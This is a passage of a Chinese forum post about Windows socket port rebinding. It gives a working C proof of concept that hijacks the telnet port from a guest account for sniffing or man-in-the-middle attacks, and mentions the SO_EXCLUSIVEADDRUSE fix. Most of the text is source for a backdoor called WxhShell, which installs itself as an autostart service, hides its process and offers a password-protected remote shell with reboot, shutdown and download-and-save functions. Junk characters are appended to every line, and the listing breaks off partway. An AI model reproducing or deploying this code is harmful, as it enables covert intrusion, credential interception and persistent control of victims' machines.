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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ?IoA;GBg  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,WM-%2z^4I  
lvNi/jk  
  saddr.sin_family = AF_INET; nV`W0r(f'  
y9=<q%Kc-  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); K8_\U0 K  
_}T )\o   
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Gvvw:]WgF  
<aI}+  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Cb.M  
*/K]sQZa  
  这意味着什么?意味着可以进行如下的攻击: og&h$<uOZt  
LnsYtkb r  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 N.ZuSkRM  
y0/FyQs  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) /<%L&  
SZ7; } r8  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 K@ &;f( Y  
M-q5Jfm  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  rw0s$~'  
%L wq.  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 %Y5F@=>&  
f&RjvVP?s  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ^62I 5k/u  
<U\8&Uv>  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 NA`8 ^PZ  
g-NrxyTBlx  
  #include ra_v+HR7  
  #include Iek ] /=  
  #include %T\ 2.vl  
  #include    J8Vzf$t};  
  DWORD WINAPI ClientThread(LPVOID lpParam);    acQHqR  
  int main() jB0Ts;5  
  { _{eA8J(A<  
  WORD wVersionRequested; G-;EB  
  DWORD ret; mG0_&'"YIG  
  WSADATA wsaData; m&be55M;  
  BOOL val; 3"k n5)x  
  SOCKADDR_IN saddr;  3SPXJa\i  
  SOCKADDR_IN scaddr; 6K=}n] n  
  int err; D]|{xKC}  
  SOCKET s; kc}|L9  
  SOCKET sc; UFUEY/q  
  int caddsize; NLxR6O4}8  
  HANDLE mt; "ctZ"*  
  DWORD tid;   2$A"{2G  
  wVersionRequested = MAKEWORD( 2, 2 ); =A$d)&  
  err = WSAStartup( wVersionRequested, &wsaData ); *19a\m=>oi  
  if ( err != 0 ) { q9a6s {,  
  printf("error!WSAStartup failed!\n"); sOS^  
  return -1; TqOH(= {  
  } nNnfcA&W  
  saddr.sin_family = AF_INET; xe3Jxo !U  
   R\/tKZJjb  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 _5$L`&  
crSqbL  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Y4X`(\A  
  saddr.sin_port = htons(23); {SRD\&J[  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) fE3%$M[V7  
  { }1lZW"{e[  
  printf("error!socket failed!\n"); o#BI_#b  
  return -1; uss!E!_%,  
  } kf9]nIo  
  val = TRUE; imhE=6{  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 l0g+OMt  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) bT|-G2g7Z  
  { vGI)c&C>  
  printf("error!setsockopt failed!\n"); }nO%q6|\V  
  return -1; 2+ g'ul`  
  } }jdmeD:  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Cn5;h(r  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 r)Ml-r =  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 _u6MSRX[6$  
iU3PlF[B/o  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) RUVrX`u*(  
  { e#F3KLSL`  
  ret=GetLastError(); 6BEDk!  
  printf("error!bind failed!\n"); MIWc @.i2  
  return -1; >xsY"N&1i'  
  } s|TO9N)pO  
  listen(s,2); }"v#_vJfz7  
  while(1) >}JEX]V  
  { x{Dw?6TP  
  caddsize = sizeof(scaddr); 'SrDc'?  
  //接受连接请求 4nh0bIN1  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); HYY+Fv5  
  if(sc!=INVALID_SOCKET) Q|2*V1"r<2  
  { t"e%'dFv  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); U^qS[HM  
  if(mt==NULL) :()K2<E  
  { OIjG`~Rx  
  printf("Thread Creat Failed!\n"); DNyt_5j&:  
  break; :2:%  
  } C#3&,G W  
  } v!3Oq.ot  
  CloseHandle(mt); F|o 1r  
  } NdX  C8  
  closesocket(s); IH5^M74b  
  WSACleanup(); d5R2J:dI  
  return 0; %Q;:nVt  
  }   ,\d03wha  
  DWORD WINAPI ClientThread(LPVOID lpParam) eW}-UeT  
  { sN5Mm8~  
  SOCKET ss = (SOCKET)lpParam; +~M.Vs X  
  SOCKET sc; ?Jgqb3+!o  
  unsigned char buf[4096]; SxcE@WM  
  SOCKADDR_IN saddr; Rz6kwh=q  
  long num; -@B6$XWL  
  DWORD val; JRAU|gr  
  DWORD ret; 4E1j0ARQQ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 F5M|QX@-  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   9F~5Ht  
  saddr.sin_family = AF_INET; dP]Z:  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); K5??WB63B  
  saddr.sin_port = htons(23); Kq+vAp).  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) lE8_Q*ev  
  { Vf=,@7  
  printf("error!socket failed!\n"); l\d[S]  
  return -1; E33x)CP  
  } ng6E &<Z  
  val = 100; yC4%z) t&R  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) frV_5yK'  
  { w=0zVh_`(  
  ret = GetLastError(); G(t&(t`[  
  return -1; t~!ag#3['.  
  } Y|W#VyM-  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ln/*lLIOb  
  { /sPa$D  
  ret = GetLastError(); `FX?P`\@I  
  return -1; PQz[IZ  
  } O<dCvH  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 1W}k>t8?h'  
  { k ,r*xt  
  printf("error!socket connect failed!\n"); s t#^pWL  
  closesocket(sc); r|/9'{!  
  closesocket(ss); qQ,(O5$|  
  return -1; dwiLu&]u  
  } vVsaGW   
  while(1) =eh!eZ9  
  { k RSY;V  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 BV\~Dm]"  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 :X7O4?ww  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 2|`Mb~E;  
  num = recv(ss,buf,4096,0); vB5mOXGNq  
  if(num>0) l}#d^S/  
  send(sc,buf,num,0); JxM32?Rm*w  
  else if(num==0) `/WOP`'zM  
  break; 2+R]q35-  
  num = recv(sc,buf,4096,0); $:onKxVM  
  if(num>0) XSx'@ qH  
  send(ss,buf,num,0); 0$U\H>r  
  else if(num==0) l^$U~OB8k  
  break; FR]uCH  
  } <Oy2 JjY  
  closesocket(ss); aghlYcPg  
  closesocket(sc); y'JJ#7O=  
  return 0 ; zhyf}Ta'  
  } 2j1HN  
4e?cW&  
|]-~yYqP3  
========================================================== eQqCRXx  
VjZb\ d4  
下边附上一个代码,,WXhSHELL #ZHKq7  
6r[pOl:  
========================================================== e%0IE X  
cwQ *P$n  
#include "stdafx.h" 6QPT  
B>cx[.#!  
#include <stdio.h> \D#+0  
#include <string.h> xq%BR[1  
#include <windows.h> = Fq{#sC>  
#include <winsock2.h> 4r7a ZDVA\  
#include <winsvc.h> OXX D}-t  
#include <urlmon.h> =2} bQW  
`1FNs?j  
#pragma comment (lib, "Ws2_32.lib") {%\;'&@z\  
#pragma comment (lib, "urlmon.lib") Oj2=&uz  
Q H>g-@  
#define MAX_USER   100 // 最大客户端连接数 ";n%^I}  
#define BUF_SOCK   200 // sock buffer l[nf"'  
#define KEY_BUFF   255 // 输入 buffer 5\ }QOL  
(F:|tiV+  
#define REBOOT     0   // 重启 a@?ebCE  
#define SHUTDOWN   1   // 关机 ma`sv<f4-!  
_~*ba+{  
#define DEF_PORT   5000 // 监听端口 7&V3f=aj6  
x3jjtjf  
#define REG_LEN     16   // 注册表键长度 Dd$8{~h"G  
#define SVC_LEN     80   // NT服务名长度 azTiY@/  
ZMK1V)ohn  
// 从dll定义API .wtYost v  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); zT hut!O  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); e)F_zX  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); KT<N ;[;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ItAC=/(d  
w7<4D,hk  
// wxhshell配置信息 GzT?I 7|M  
struct WSCFG { 160BgFM  
  int ws_port;         // 监听端口 o+S?j*mv@  
  char ws_passstr[REG_LEN]; // 口令 oV~S4|9:  
  int ws_autoins;       // 安装标记, 1=yes 0=no HLE%f;  
  char ws_regname[REG_LEN]; // 注册表键名 8PG&/ " K  
  char ws_svcname[REG_LEN]; // 服务名 FGpV ]p  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 J]Q-#g'Z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 h?GE-F  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2k`Q+[?{q>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no j?! /#'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~UsE"5  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,JJ1sf2A  
3b<;y%  
}; 9a'}j#mJo  
@\=4 Rin/q  
// default Wxhshell configuration >vuR:4B  
struct WSCFG wscfg={DEF_PORT, g_"B:DR  
    "xuhuanlingzhe", J^pq<   
    1, F}5skD=  
    "Wxhshell", %V-Hy;V  
    "Wxhshell", C{V,=Fo^  
            "WxhShell Service", ;9uDV -"  
    "Wrsky Windows CmdShell Service", }7qboUGe  
    "Please Input Your Password: ", \F7NuG:m,  
  1, W:2j.K9!  
  "http://www.wrsky.com/wxhshell.exe", 1.a:iweN  
  "Wxhshell.exe" tA K=W$r  
    }; :,'.b|Tl.b  
U a1Z,~ *  
// 消息定义模块 c{i\F D  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; q6P5:@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; D:N\K/p  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9['>$ON  
char *msg_ws_ext="\n\rExit."; _wZr`E)  
char *msg_ws_end="\n\rQuit."; Wtflw>-  
char *msg_ws_boot="\n\rReboot..."; @^b>S6d "  
char *msg_ws_poff="\n\rShutdown..."; u4[rA2Bf8E  
char *msg_ws_down="\n\rSave to "; m!Aw,*m+*  
=%;TVJk*a  
char *msg_ws_err="\n\rErr!"; /8lmNA  
char *msg_ws_ok="\n\rOK!"; ` >k7^!Ds  
P0-K/_g  
char ExeFile[MAX_PATH]; \Iz-<:gA'  
int nUser = 0; F=;nWQ&  
HANDLE handles[MAX_USER]; DM{Z#b]  
int OsIsNt; t y%Hrw  
7t6TB*H  
SERVICE_STATUS       serviceStatus; H*&!$s.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }wGy#!CSza  
ESkhCDU  
// 函数声明 [iN\R+:  
int Install(void); kg$w<C@#"  
int Uninstall(void); !LpFK0rw  
int DownloadFile(char *sURL, SOCKET wsh); m$$sNPnT  
int Boot(int flag); u9ue>I /  
void HideProc(void); QV=|' S  
int GetOsVer(void); 5^36nEoA(  
int Wxhshell(SOCKET wsl); <!~NG3KW[>  
void TalkWithClient(void *cs); !7Z?VEZ  
int CmdShell(SOCKET sock); #:[CF:  
int StartFromService(void); 9:*a9xT,  
int StartWxhshell(LPSTR lpCmdLine); 28 ;x5m)N  
{ b7%Zd3-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); D (Q=EdlO  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )AAPT7!U  
6W N(Tw  
// 数据结构和表定义 zUJPINDb  
SERVICE_TABLE_ENTRY DispatchTable[] = D(">bR)1  
{ l>@){zxL  
{wscfg.ws_svcname, NTServiceMain}, j.29nJ  
{NULL, NULL} gCW {$d1=  
}; ujbJ&p   
ZJ |&t  
// 自我安装 <{k8 K6  
int Install(void) Xm^/t#  
{ o 0H.DeP  
  char svExeFile[MAX_PATH]; C.hRL4+;Zm  
  HKEY key; JE[J}-2  
  strcpy(svExeFile,ExeFile); X@@7Qk  
(.9H1aO46|  
// 如果是win9x系统,修改注册表设为自启动 jp#/]>(9Z  
if(!OsIsNt) { 3x E^EXV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NMhI0Ix$w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *6]_ 6xO  
  RegCloseKey(key); [vcSt5R=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uSNlI78D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8Y~\:3&1<  
  RegCloseKey(key); ~G8haN4  
  return 0; *En4~;l  
    } I<$m%  
  } Dmn{ppfyb  
} ]{pH,vk-  
else { O29GPs  
}j|YX&`p  
// 如果是NT以上系统,安装为系统服务 e1 P(-V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); jGOE CKP  
if (schSCManager!=0) 4Kn)5>  
{ :&$ WWv  
  SC_HANDLE schService = CreateService )<^G]ajn  
  ( gqACIXR  
  schSCManager, 3qwSm <  
  wscfg.ws_svcname, _S6SCSFc  
  wscfg.ws_svcdisp, L7$1rO<  
  SERVICE_ALL_ACCESS, 2<^eVpNJR  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , cK1RmL"3  
  SERVICE_AUTO_START, cAzlkh  
  SERVICE_ERROR_NORMAL, MF4B 2d  
  svExeFile, m7,;Hr(  
  NULL, C'fQ Z,r-v  
  NULL, DV jsz  
  NULL, _SQ0`=+  
  NULL, X6EnC57  
  NULL 5@{~8 30  
  ); KvuM{UI5  
  if (schService!=0) B7nm7[V  
  { )zvjsx*e=J  
  CloseServiceHandle(schService); ug9]^p/)^  
  CloseServiceHandle(schSCManager); \%]!/&>{6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ya/pn qS  
  strcat(svExeFile,wscfg.ws_svcname); 0tP{K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { H@ .1cO  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <|4L+?_(&  
  RegCloseKey(key); #^bn~  
  return 0; 2p8}6y:}7  
    } ,M$ J yda  
  } 5*r5?ne  
  CloseServiceHandle(schSCManager); {@T<eb$d  
} >D*%1LH~V  
} H.[t&VO  
@ R;o $n  
return 1; 3+ WostOx  
} !i?aRI/6  
,L^ag&!4  
// 自我卸载 &8QkGUbS<  
int Uninstall(void) j'nrdr6n  
{ H4g1@[{|0O  
  HKEY key; 1_G5uHO  
%scQP{%aD  
if(!OsIsNt) { SSa0 x9T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?E.MP7Y# V  
  RegDeleteValue(key,wscfg.ws_regname); A>QAR)YP  
  RegCloseKey(key); $O^U"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6ragRS/'x  
  RegDeleteValue(key,wscfg.ws_regname); G0pqiU6  
  RegCloseKey(key); A=pyaU`aE  
  return 0; TvwkeOS#}7  
  } 6B`,^8Lp  
} ;&]oV`Ib  
} z%Ivc*x5  
else { UViWejA/*u  
Ln&CB!u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); u_X(c'aE;  
if (schSCManager!=0) (c1Kg   
{ I8{ohFFo  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |NXe{q7{  
  if (schService!=0) ='\E+*[$I  
  { $h8,QPy  
  if(DeleteService(schService)!=0) { h&:6S  
  CloseServiceHandle(schService); .Sjg  
  CloseServiceHandle(schSCManager); WO"<s{v  
  return 0; V?o%0V  
  } Hrj@I?4  
  CloseServiceHandle(schService); 1|xo4fmV  
  } ,ko0XQBl  
  CloseServiceHandle(schSCManager); _XUDPC(*qz  
} /7p1y v  
} w.R2' W R  
BZAF;j  
return 1; m15> ^i^W  
} wGAeOD  
m$bDWxm#e  
// 从指定url下载文件 ) >8k8E  
int DownloadFile(char *sURL, SOCKET wsh) ,kw:g&A  
{ QVPJ$~x  
  HRESULT hr; '=]|"   
char seps[]= "/"; 1ppU ?#  
char *token; @RFJe$%  
char *file; u13v@<HGc  
char myURL[MAX_PATH]; _$BH.I  
char myFILE[MAX_PATH]; E j/P:nB  
*K2fp=Ns  
strcpy(myURL,sURL); Bu,VLIba  
  token=strtok(myURL,seps); nT xN>?l2E  
  while(token!=NULL) jK-usn  
  { @sLB _f  
    file=token; K8g9IZ*lT  
  token=strtok(NULL,seps); ]:F?k#c  
  } \4roM1&[  
u^]Z{K_B  
GetCurrentDirectory(MAX_PATH,myFILE); I=}pT50~9  
strcat(myFILE, "\\"); 1\ab3n  
strcat(myFILE, file); <+)B8I^  
  send(wsh,myFILE,strlen(myFILE),0); J#*R]LU|  
send(wsh,"...",3,0); >J_%'%%f  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Gjo&~*;  
  if(hr==S_OK) nj5Hls  
return 0; l\1_v7s  
else anxwK47  
return 1; Lt\=E8&rh  
OZi4S3k  
} K:8. Dvn  
uEcK0>xp  
// 系统电源模块 "|W``&pM  
int Boot(int flag) i4r8146D[  
{ U A}N  
  HANDLE hToken; |t&gyj  
  TOKEN_PRIVILEGES tkp; 37nGFH`K2m  
>q)VHV9P  
  if(OsIsNt) { p 28=l5y+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \R (Yf!>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); vN3uLz'<  
    tkp.PrivilegeCount = 1; [-'LJG Wb<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^9A,j} >o-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Y5$VWUrB  
if(flag==REBOOT) {  H= (Zx  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |FH|l#bu>  
  return 0; 2;&!]2vo$  
} A_JNj8<6r  
else { w>uo-88  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) V { yk  
  return 0; Tl`HFZQ1  
} f4r)g2Zb[  
  } h^ =9R6im  
  else { RqRyZ*n  
if(flag==REBOOT) { Nr:%yvk%s  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) { '1e?  
  return 0; muKCCWy#  
} !0!r}#P  
else { Xwt}WSdF`k  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) fVx_]5jM  
  return 0; g.d~`R@v  
} qhqqCVrsW  
} l F*x\AT  
D!nx%%q  
return 1; JWo).  
} \2NT7^H#  
N(= \S:  
// win9x进程隐藏模块 19 <Lgr  
void HideProc(void) +N:=|u.g  
{ eL{6;.C  
5;Q9Z1 `  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (|U|>@  
  if ( hKernel != NULL ) dId&tTMmC  
  { 1@{qPmf^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); J!@`tR-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :zLeS-  
    FreeLibrary(hKernel); W:*  {7qJ  
  } 66%4p%#b4  
\1mTKw)S  
return; r0/o{Y|l6  
} J1gLT $  
,%EGM+  
// 获取操作系统版本 h1jEulcMtq  
int GetOsVer(void) Z]x)d|3;  
{ uhO-0H  
  OSVERSIONINFO winfo; 35 PIfq m  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); J{h?=vK  
  GetVersionEx(&winfo); @'fWS^ ;&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) MZK%IC>  
  return 1; ZAa:f:[#f  
  else XL!^tMk  
  return 0; pCt0[R;?  
} Z2^B.r#  
`=JGlN7  
// 客户端句柄模块 v JPX`T|  
int Wxhshell(SOCKET wsl) x>m=n_  
{ ? fmW'vs  
  SOCKET wsh; L+J)  
  struct sockaddr_in client; cOo@UU P   
  DWORD myID; kcyT#'=j  
X;%*+xQ^  
  while(nUser<MAX_USER) V.^Z)iNf^  
{ uPQrDr5  
  int nSize=sizeof(client); do&0m[x%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _5&LV2  
  if(wsh==INVALID_SOCKET) return 1; CGY,I UG  
X w_6SR9C  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); f5dctDHP  
if(handles[nUser]==0) OXIy0].b  
  closesocket(wsh); nHTb~t5Ke  
else sTChbks  
  nUser++; +#MQ8d  
  } fZF.eRP '  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `(Ij@8 4  
7zEpuw  
  return 0; NQqq\h  
} 0FG|s#Ig  
Fooa~C"  
// 关闭 socket 'ghwc:Og|%  
void CloseIt(SOCKET wsh) y~/i{a;1y  
{ [y(AdZ0*  
closesocket(wsh); X Cf!xIv  
nUser--; `6QQS3fk!  
ExitThread(0); l_z@.</8P@  
} -VPda @@w  
gPz p/I  
// 客户端请求句柄 TB(!*t  
void TalkWithClient(void *cs) VaLl$w  
{ f%cbBx^;  
IM9P5?kJ ?  
  SOCKET wsh=(SOCKET)cs; SlojB^%  
  char pwd[SVC_LEN]; V^5Z9!  
  char cmd[KEY_BUFF]; w;(B4^?  
char chr[1]; kV:C=MLI  
int i,j; f+W8Gszi  
ruTj#tWSo  
  while (nUser < MAX_USER) { k}$k6Sr"  
l5fF.A7TT  
if(wscfg.ws_passstr) { nk^-+olm  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bdz&"\$X  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~u+|NtF  
  //ZeroMemory(pwd,KEY_BUFF); #uHl  
      i=0; rN5;W  
  while(i<SVC_LEN) { JwM Fu5@  
[$P.ek<  
  // 设置超时 \jGvom.  
  fd_set FdRead; tF=Y3W+L  
  struct timeval TimeOut; ?=a,  
  FD_ZERO(&FdRead); 2<GN+W v[#  
  FD_SET(wsh,&FdRead); Jk3V]u  
  TimeOut.tv_sec=8; !-Br?  
  TimeOut.tv_usec=0; j~VHU89  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `.F+T)G  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .,7ZD O9{  
tpP2dg9dF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {_<,5)c  
  pwd=chr[0]; }$T!qMst{  
  if(chr[0]==0xd || chr[0]==0xa) { ?~#{3b  
  pwd=0; 2-!n+#Cdf  
  break; 2B=''W  
  } <rAk"R^  
  i++; jFThW N  
    } iz pFl@WS  
j~:N8(=  
  // 如果是非法用户,关闭 socket lM'yj}:~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6h_OxO&!U  
} \QKr2|  
kx_PMpc  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); i1JWdHt  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |nTZ/MXbw  
Y\1XKAfB  
while(1) { ` "JslpN  
V- HO_GDo  
  ZeroMemory(cmd,KEY_BUFF); [osm\w49  
'-k~qQk)6  
      // 自动支持客户端 telnet标准   ?B`Yq\L)  
  j=0; *2tG07kI  
  while(j<KEY_BUFF) { y/}ENUGR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {pof=G  
  cmd[j]=chr[0]; y$^.HI02jP  
  if(chr[0]==0xa || chr[0]==0xd) { OP}8u"\Z  
  cmd[j]=0; *S$`/X  
  break; ;UB$Uqs6  
  } ?g~g GQV  
  j++; Z6XP..  
    } oy!Dm4F  
%/(>>*}Kw|  
  // 下载文件 1=X"|`<!  
  if(strstr(cmd,"http://")) { B{+ Ra  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 70&]nb6f  
  if(DownloadFile(cmd,wsh)) ]\_T  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); K9+C3"*I  
  else , BCo/j  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b 7%O[  
  } l-mf~{   
  else { <DjFMTCN  
 ZD'fEqM  
    switch(cmd[0]) { 6}E C)j;Fw  
  >HH49 cCo  
  // 帮助 4;hgi[  
  case '?': { sXaIQhZ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); rtM!|apr  
    break; zxr|:KC ?&  
  } YN@ 4.&RP  
  // 安装 %95'oW)lo  
  case 'i': { U'tfsf/V  
    if(Install()) vHz]-Q-|9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m+m,0Ey5H  
    else A/4HR]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P,[O32i#  
    break; &]?X"K  
    } G$"$k=[  
  // 卸载 '!6Py1i  
  case 'r': { L)LW5%.6  
    if(Uninstall()) mtON dI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u< ,c  
    else Q/ ,j v5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 79svlq=  
    break; Wqu][Wa[Z  
    } 3+E AMn  
  // 显示 wxhshell 所在路径 bf3Njma%  
  case 'p': { r6Hdp  
    char svExeFile[MAX_PATH]; dw v(8  
    strcpy(svExeFile,"\n\r"); {G D<s))  
      strcat(svExeFile,ExeFile); l`vb  
        send(wsh,svExeFile,strlen(svExeFile),0); x1}7c9n K  
    break; u0@i3Po  
    } ZE*m;  
  // 重启 PmGW\E[ni  
  case 'b': { Q/,bEDc&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =k1 ,jn+  
    if(Boot(REBOOT)) d,G:+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vNhi5EU  
    else { <?UIux  
    closesocket(wsh); s=+,F<;x.U  
    ExitThread(0); K;u<-?En  
    } R{5xb  
    break; \+cU}  
    } x)SW1U3TVx  
  // 关机 b$f@.L  
  case 'd': { Qw{LD+r(  
